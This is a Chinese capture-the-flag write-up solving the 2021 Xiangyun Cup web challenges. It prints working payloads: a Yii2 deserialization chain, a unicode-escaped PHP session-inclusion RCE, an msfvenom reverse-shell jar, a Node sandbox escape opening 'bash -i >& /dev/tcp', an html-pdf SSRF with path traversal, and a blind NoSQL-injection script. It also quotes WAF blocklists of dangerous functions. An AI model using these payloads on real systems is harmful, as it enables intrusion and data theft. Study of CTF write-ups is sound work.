首页 » Web前端 » PhpIdap技巧_2021祥云杯Web全解

PhpIdap技巧_2021祥云杯Web全解

访客 2024-11-20 0

扫一扫用手机浏览

文章目录 [+]

前方高能

上周和队友一起AK了祥云杯的Web题目,

PhpIdap技巧_2021祥云杯Web全解

觉得这次比赛Web题质量还不错!

PhpIdap技巧_2021祥云杯Web全解
(图片来自网络侵删)

自己做了Node.Js、Typescript和一个PHP,

下面是全部的WP:

ezyii

给了源码,入口便是反序列化点,打了一下子之前爆出的链子,没成功,找到这篇文章:《yii 2.0.42 最新反序列化利用全集》(https://xz.aliyun.com/t/9948),参照文章直接布局poc:

<?phpnamespace Codeception\Extension{ use Faker\UniqueGenerator; class RunProcess{ private $processes = []; public function __construct(){ $this->processes[]=new UniqueGenerator(); } } echo urlencode(serialize(new RunProcess()));}namespace Faker{ use Symfony\Component\String\LazyString; class UniqueGenerator{ protected $generator; protected $maxRetries; public function __construct(){ $a = new LazyString(); $this->generator = new DefaultGenerator($a); $this->maxRetries = 2; }}class DefaultGenerator{ protected $default; public function __construct($default = null){ $this->default = $default; }}}namespace Symfony\Component\String{ class LazyString{ private $value; public function __construct(){ include("closure/autoload.php"); $a = function(){phpinfo();}; $a = \Opis\Closure\serialize($a); $b = unserialize($a); $this->value=$b; } }}

安 全 检 测 平 台

扫描到.login.php.swp

<?php//error_reporting(0);ob_start();session_start();function check3($username){ $pattern = "\/\|\|\.\.\/|\.\/|<|>|\?|\|load_file|outfile|dumpfile|sub|hex|where"; $pattern .= "|file_put_content|file_get_content|fwrite|curl|system|eval|assert"; $pattern .= "|select|insert|update|delete|load_file|into outfile|drop"; $pattern .="|passthru|exec|system|chroot|scandir|chgrp|chown|shell_exec|proc_open|proc_get_status|popen|ini_alter|ini_restore"; $pattern .="|`|openlog|syslog|readlink|symlink|popepassthru|stream_socket_server|assert|pcntl_exec|http|.php|.ph|\@|:\/\/|flag"; $pattern .="|file|dict|gopher"; $vpattern = explode("|",$pattern); foreach($vpattern as $value){ if (preg_match( "/$value/i", $username )){ echo "检测到恶意字符"; exit(0); } }}$username=file_get_contents("php://input");check3($username);$username=json_decode($username)->username;if($username){ $_SESSION['user1']=$username; Header("Location:./index.php"); ob_end_flush(); exit(0);}?>

然后还扫到了/admin目录,返回403,登录后有一个网站扫描的接口

这里就能SSRF了,预测须要用这里去访问/admin

然后输入http://127.0.0.1/admin创造存在目录透露,得到include123.php,输入http://127.0.0.1/admin/include123.php得到源码:

<?php$u=$_GET['u'];$pattern = "\/\|\|\.\.\/|\.\/|load_file|outfile|dumpfile|sub|hex|where";$pattern .= "|file_put_content|file_get_content|fwrite|curl|system|eval|assert";$pattern .="|passthru|exec|system|chroot|scandir|chgrp|chown|shell_exec|proc_open|proc_get_status|popen|ini_alter|ini_restore";$pattern .="|`|openlog|syslog|readlink|symlink|popepassthru|stream_socket_server|assert|pcntl_exec|http|.php|.ph|.log|\@|:\/\/|flag|access|error|stdout|stderr";$pattern .="|file|dict|gopher";//累了累了,饮茶先$vpattern = explode("|",$pattern);foreach($vpattern as $value){ if (preg_match( "/$value/i", $u )){ echo "检测到恶意字符"; exit(0); }}include($u);show_source(__FILE__);?>

这里便是文件包含了,过滤了很多东西,以是不能直接读flag,但可以通过包含session文件来RCE。
把username设置为命令实行的payload

<?php system('ls /');?>

但存在waf,由于登录点是json格式,以是直接unicode绕过,终极payload

POST /login.php HTTP/1.1Host: eci-2ze7cuv076c4n4xyqqsp.cloudeci1.ichunqiu.comContent-Length: 276Accept: /X-Requested-With: XMLHttpRequestUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36Content-Type: application/json; charset=UTF-8Origin: http://eci-2ze7cuv076c4n4xyqqsp.cloudeci1.ichunqiu.comReferer: http://eci-2ze7cuv076c4n4xyqqsp.cloudeci1.ichunqiu.com/login.phpAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7Cookie: UM_distinctid=178bbe1ab19c4b-03b55de3f08a36-336b7c08-13c680-178bbe1ab1ab5c; chkphone=acWxNpxhQpDiAchhNuSnEqyiQuDIO0O0O; Hm_lvt_2d0601bd28de7d49818249cf35d95943=1629357609; Hm_lpvt_2d0601bd28de7d49818249cf35d95943=1629357972; PHPSESSID=318269ebed54edffb9a8d42ed5538634; __jsluid_h=03d101ea5a6a263b34ca7911262e4fb6Connection: close{"username":"\u003c\u003f\u0070\u0068\u0070\u0020\u0065\u0063\u0068\u006f\u0020\u0066\u0069\u006c\u0065\u005f\u0067\u0065\u0074\u005f\u0063\u006f\u006e\u0074\u0065\u006e\u0074\u0073\u0028\u0027\u002f\u0066\u006c\u0061\u0067\u0027\u0029\u003b\u0020\u003f\u003e","password":"1"}

然后在SSRF点输入http://127.0.0.1/admin/include123.php?u=/tmp/sess_0a591f733185be45367ca406158a5775包含session即可

层 层 穿 透

访问创造了一个apache Flink,搜一下创造存在RCE(https://zhuanlan.zhihu.com/p/124948581)。
上传一个jar包即可反弹shell

msfvenom -p java/meterpreter/reverse_tcp LHOST=ip LPORT=port -f jar > poc.jar

随着流出来即可收到shell,挂个代理,然后便是内网阶段。
给了内网做事的源码,看了一下pom.xml,创造了很多jar包,有cc、shirt、fastjson等

这里创造FastJson

须要成为admin,源码种供应了密码

然后还有字符长度的限定,考试测验用idap绕一下创造没打通。
可能不出网,找到一个c3p0(https://github.com/depycode/fastjson-c3p0),下载脚本直接打即可。

Crawler_z

给了附件

routes/index.js没啥好说的,signin和signup功能,然后看到登录后的/user路由,写在了routes/user.js 这里能更新个人信息

这里直接对user.bucket发起要求

看看是怎么要求的

crawler.js

直到找到这篇文章(https://ha.cker.in/index.php/Article/13563)

zombie这个库如果能掌握目标那么就能实现RCE。
那目标也清晰了,便是变动bucket为自己VPS恶意地址。
这里还有一段check

绕过方法:随便注册一个账号,然后来到/user/profile

这里直接自带了一个Bucket,先点击Update,然后得到token

/user/verify?token=0afe5b79dcf162297fd0d3abecb31cb2fce3a79a1cfa2d92a663c3a68a278cba

然后修正自带payload为vps,我这里是http://1.116.153.158/ttpfx/1.html?a=oss-cn-beijing.ichunqiu.com 抓包,发到Repeater进行要求。

然后再get要求刚才得到的token地址即可完成更新。
更新后,将vps的地址存放如下payload:

<script>c='constructor';this[c][c]("c='constructor';require=this[c][c]('return process')().mainModule.require;var sync=require('child_process').spawnSync; var ls = sync('bash', ['-c','bash -i >& /dev/tcp/ip/port 0>&1'],); console.log(ls.output.toString());")()</script>

然后访问/user/bucket即可触发payload反弹shell,实行根目录/readflag即可得到flag。

Secrets_Of_Admin

同样给了源码,是typescript,先来理解一下大概的架构

routes/index.ts

这里是登录

下面的是成为admin后的操作

router.post('/admin', checkAuth, (req, res, next) => { let { content } = req.body; if ( content == '' || content.includes('<') || content.includes('>') || content.includes('/') || content.includes('script') || content.includes('on')){ //if(false){ // even admin can't be trusted right ? :) return res.render('admin', { error: 'Forbidden word '}); } else { let template = ` <html> <meta charset="utf8"> <title>Create your own pdfs</title> <body> <h3>${content}</h3> </body> </html> ` try { const filename = `${uuid()}.pdf` pdf.create(template, { "format": "Letter", "orientation": "portrait", "border": "0", "type": "pdf", "renderDelay": 3000, "timeout": 5000 }).toFile(`./files/${filename}`, async (err, _) => { if (err) next(createError(500)); const checksum = await getCheckSum(filename); await DB.Create('superuser', filename, checksum) return res.render('admin', { message : `Your pdf is successfully saved You know how to download it right?`}); }); } catch (err) { return res.render('admin', { error : 'Failed to generate pdf '}) } }});

只要成为了admin就可以写一个PDF文件,这个PDF的名字是随机的,存放目录也不可控,这里须要本地才能要求,可以向db insert一个数据

database.ts

insert的三个字段各自代表什么意思后面说。
这里是根据要求id向数据库查询文件名,然后读取文件返回文件。

database.ts

而这里是怎么返回文件的呢?由POST /admin可以看到,这里会将创建的PDF天生一个随机数checksum,然后将天生的文件名与checksum绑定在一起放到数据库,数据库大概实行的语句为

INSERT INTO files(username, filename, checksum) VALUES('superuser', 'xxxxxxxx.pdf', 'aaaaaaaaa');

这样,就只须要向数据库发送ID即可返回相应文件名,即要求/api/files/idxxx得到idxxx,然后去数据库查询是否有idxxx绑定的文件名,有就返回文件名并读取文件内容,没有就返回false。
从这里也可以回看到/api/files,中间的create我们对username、filename、checksum完备可控,以是能利用这个API就代表我们能自己掌握filename去绑定自定义的checksum,然后访问获取到内容。

题目构造理解完了,开始做题,先成为admin,源码中写了admin和password。

直接登录即可

这里便是POST /admin了,在这里卡了一下子,想到既然有127.0.0.1那肯定要找个SSRF,但通看全场都没能让我发起SSRF的地方,然后查了一下,找到了html-pdf这个依赖库的洞(https://github.com/marcbachmann/node-html-pdf/issues/530)

这个漏洞能直接读文件。
本地测了一下,读不了,该当是做了什么限定,不做跟踪了,就算能读也没用,天生的pdf id是随机的,我们完备不知道。
以是拿不到内容,最主要的是,它因此superuser的身份进行存储。

本地搭建环境能假造superuser,但这里完备绕不过

以是成为superuser这一思路是错的,连续SSRF,想到exp既然能XHR读文件,你都能file协议了还不能http协议么?于是将写PDF的内容检测语句删掉,然后测了<img src="http://106.15.121.121:1234/1.jpg">,做事器直吸收到了数据包,SSRF get! 那现在便是绕过内容检测语句了

过滤了尖括号,注入点又不处于标签中<h3>${content}</h3>,思路走偏了,只想在HTML的层面进行绕过,测了良久,试了HTML实体转义、utf-8、URL Decode,末了断港绝潢考试测验去绕.includes()方法,一搜就出来了。

来自404师傅的博客

数组能绕,根据database.ts的语句

考试测验布局content[]=<img src="http://127.0.0.1:8888/api/files?username=admin&filename=flag&checksum=2333" (直接把我本地环境打退出了,远程来一发,直接给我容器干没了)

本地报了个奇奇怪怪的sqlite的缺点,

又跟了一下

直接拼接目录?考试测验目录穿越,可以成功读取到/etc/passwd,然后试一下用目录穿越读flag。

终极payload

POST /admin HTTP/1.1Host: eci-2zefrwyu3gc9kn6aysn2.cloudeci1.ichunqiu.com:8888Content-Length: 11Pragma: no-cacheCache-Control: no-cacheUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36Origin: http://eci-2zefrwyu3gc9kn6aysn2.cloudeci1.ichunqiu.com:8888Content-Type: application/x-www-form-urlencodedAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9Referer: http://eci-2zefrwyu3gc9kn6aysn2.cloudeci1.ichunqiu.com:8888/adminAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7Cookie: UM_distinctid=178bbe1ab19c4b-03b55de3f08a36-336b7c08-13c680-178bbe1ab1ab5c; chkphone=acWxNpxhQpDiAchhNuSnEqyiQuDIO0O0O; Hm_lvt_2d0601bd28de7d49818249cf35d95943=1629357609; Hm_lpvt_2d0601bd28de7d49818249cf35d95943=1629357972; __jsluid_h=38223de3fca96ed1e1b5459037f7c502; token=s%3Aj%3A%7B%22username%22%3A%22admin%22%2C%22files%22%3A%5B%5D%2C%22isAdmin%22%3Atrue%7D.F56WSi1msokS7QwqhYWcJm%2FBhe1UiZ%2FxOtKnM%2BaehVUConnection: closecontent[]=<img%20src="http://127.0.0.1:8888/api/files?username=admin%26filename=/../files/flag%26checksum=2333">

然后访问/api/files/2333即可下载flag

总结流程

http-pdf SSRF ---> /api/files目录穿越绑定文件 ---> 访问id获取flag

PackageManager2021

非预期,看题面就知道是xss,但无意创造了sqli ???

#b!@#$d5dh47jyfz#098crwwimport requestspasswd = ""for i in range(0,50): for j in range(32,127): burp0_url = "http://47.104.108.80:8888/auth" burp0_cookies = {"session": "s%3A48cl_lUReimQytHn7toEfeafbGGIpWXB.YBzs%2B3EcrGrFNvfOoe0wEbmm2NSA%2B4tVAlsYy7eRoIE"} burp0_headers = {"Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1", "Origin": "http://47.104.108.80:8888", "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9", "Referer": "http://47.104.108.80:8888/auth", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9", "Connection": "close"} burp0_data = {"_csrf": "kATaxQjv-Uka6Hw6X85iWgBuhyTxqgy7pvVA", "token": "cf87efe0c36a12aec113cd7982043573\"||(this.username==\"admin\"&&this.password[{}]==\"{}\")||\"".format(i,chr(j))} res=requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data,allow_redirects=False) # print(str(i) + ":" + chr(j)) if res.status_code == 302: passwd += chr(j) print(passwd)

直接注出admin密码,登录即可看到flag!

标签:

相关文章

介绍百度码,技术革新背后的智慧之光

随着科技的飞速发展,互联网技术已经成为我们生活中不可或缺的一部分。而在这个信息爆炸的时代,如何快速、准确地获取信息,成为了人们关注...

Web前端 2025-01-03 阅读1 评论0

介绍皮箱密码,开启神秘之门的钥匙

皮箱,作为日常生活中常见的收纳工具,承载着我们的珍贵物品。面对紧闭的皮箱,许多人却束手无策。如何才能轻松打开皮箱呢?本文将为您揭秘...

Web前端 2025-01-03 阅读1 评论0

介绍盗号器,网络安全的隐忧与应对步骤

随着互联网的快速发展,网络安全问题日益突出。盗号器作为一种非法工具,对网民的个人信息安全构成了严重威胁。本文将深入剖析盗号器的原理...

Web前端 2025-01-03 阅读1 评论0